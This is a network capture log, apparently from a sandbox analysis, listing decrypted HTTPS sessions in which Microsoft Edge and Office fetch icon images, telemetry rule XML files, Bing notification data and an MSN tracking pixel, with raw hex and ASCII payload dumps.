2024-11-11 11:40:29 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	49911	13.107.246.40	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:30 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 11:40:30 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:30 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: a05c791c-d01e-0008-7a02-347374000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241111T114030Z-174f7845968glpgnhC1EWR7uec0000000500000000006941 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-11 11:40:30 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49917	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:30 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:30 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 904e9adf-b01e-003e-62d5-338e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114030Z-174f7845968vwdr7hC1EWRsh3w00000004rg000000008m0u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:30 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	49919	23.33.40.146	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:30 UTC	628	OUT	OPTIONS /bnc/notifications/count?app=anaheim&pageId=ntp HTTP/1.1 Host: www.bing.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: x-personalbing-csrf,x-personalbing-flights,x-search-clientid,x-search-uilang Origin: https://ntp.msn.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 11:40:30 UTC	2234	IN	HTTP/1.1 200 OK Content-Length: 0 Access-Control-Allow-Headers: * Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Max-Age: 7200 Cache-Control: private X-EventID: 6731ed2e51214939b0293bf4d3150e63 UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= Content-Security-Policy: script-src https: 'strict-dynamic' 'report-sample' 'wasm-unsafe-eval' 'nonce-oSORCEktVvS/2ODdMr3Onlz23tOPuKxF4Alb8Kqc6ck='; base-uri 'self';report-to csp-endpoint Report-To: {"group":"csp-endpoint","max_age":86400,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingcsp"}]} P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Date: Mon, 11 Nov 2024 11:40:30 GMT Connection: close Set-Cookie: MUID=3921F14B3BA0691522E5E47F3A3C68A0; domain=.bing.com; expires=Sat, 06-Dec-2025 11:40:30 GMT; path=/; secure; SameSite=None Set-Cookie: MUIDB=3921F14B3BA0691522E5E47F3A3C68A0; expires=Sat, 06-Dec-2025 11:40:30 GMT; path=/; HttpOnly Set-Cookie: _EDGE_S=F=1&SID=2D4BD486F28869C11A35C1B2F31468D3; domain=.bing.com; path=/; HttpOnly Set-Cookie: _EDGE_V=1; domain=.bing.com; expires=Sat, 06-Dec-2025 11:40:30 GMT; path=/; HttpOnly Set-Cookie: USRLOC=HS=1; domain=.bing.com; expires=Wed, 11-Nov-2026 11:40:30 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: SRCHD=AF=NOFORM; domain=.bing.com; expires=Wed, 11-Nov-2026 11:40:30 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHUID=V=2&GUID=20D165604B724CB5BDEFB8BC6240B1BE&dmnchg=1; domain=.bing.com; expires=Wed, 11-Nov-2026 11:40:30 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHUSR=DOB=20241111; domain=.bing.com; expires=Wed, 11-Nov-2026 11:40:30 GMT; path=/; secure; SameSite=None Set-Cookie: SRCHHPGUSR=SRCHLANG=en; domain=.bing.com; expires=Wed, 11-Nov-2026 11:40:30 GMT; path=/; secure; SameSite=None Set-Cookie: _SS=SID=2D4BD486F28869C11A35C1B2F31468D3; domain=.bing.com; path=/; secure; SameSite=None Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.cd292117.1731325230.3fac7d42

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49915	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:30 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:30 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 1c14ddc0-c01e-0079-51d5-33e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114030Z-174f7845968v79b7hC1EWRu01s00000004h00000000045fz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:30 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49914	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:30 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:30 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 55c09f61-d01e-0082-16d5-33e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114030Z-174f7845968j6t2phC1EWRcfe800000004y0000000008qb6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:30 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.6	49913	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:30 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:30 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 3ca8c4c6-201e-0096-0fd5-33ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114030Z-174f7845968j9dchhC1EWRfe7400000004sg0000000038m3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:30 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.6	49918	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:30 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:30 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 2f59fc8c-901e-002a-3cd5-337a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114030Z-174f7845968px8v7hC1EWR08ng000000051g000000008y3h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:30 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	49923	13.107.246.40	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:30 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 11:40:30 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:30 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 8ecc46cc-c01e-001c-1e1c-34b010000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241111T114030Z-174f7845968n2hr8hC1EWR9cag00000004gg000000005m9k Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-11 11:40:30 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	49920	20.110.205.119	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:30 UTC	1261	OUT	GET /c.gif?rnd=1731325227261&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=cf0083d9bd7d43b991d9ad6081c2b329&activityId=cf0083d9bd7d43b991d9ad6081c2b329&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=5CD1DCDC8EC04B8E8A661A2DA7C3EE4E&MUID=1817CCD1391B64C11978D9E5387965A3 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1817CCD1391B64C11978D9E5387965A3; _EDGE_S=F=1&SID=1AA422DAB1436AD93F3837EEB0906B09; _EDGE_V=1; SM=T
2024-11-11 11:40:30 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=1817CCD1391B64C11978D9E5387965A3; domain=.msn.com; expires=Sat, 06-Dec-2025 11:40:30 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=1817CCD1391B64C11978D9E5387965A3; domain=c.msn.com; expires=Sat, 06-Dec-2025 11:40:30 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Mon, 18-Nov-2024 11:40:30 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Mon, 11-Nov-2024 11:50:30 GMT; path=/; SameSite=None; Secure; Date: Mon, 11 Nov 2024 11:40:30 GMT Connection: close Content-Length: 42
2024-11-11 11:40:30 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49926	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:30 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:30 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: ab1019be-501e-0035-43d5-33c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114030Z-174f7845968ljs8phC1EWRe6en00000004p00000000088rp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:30 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49925	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
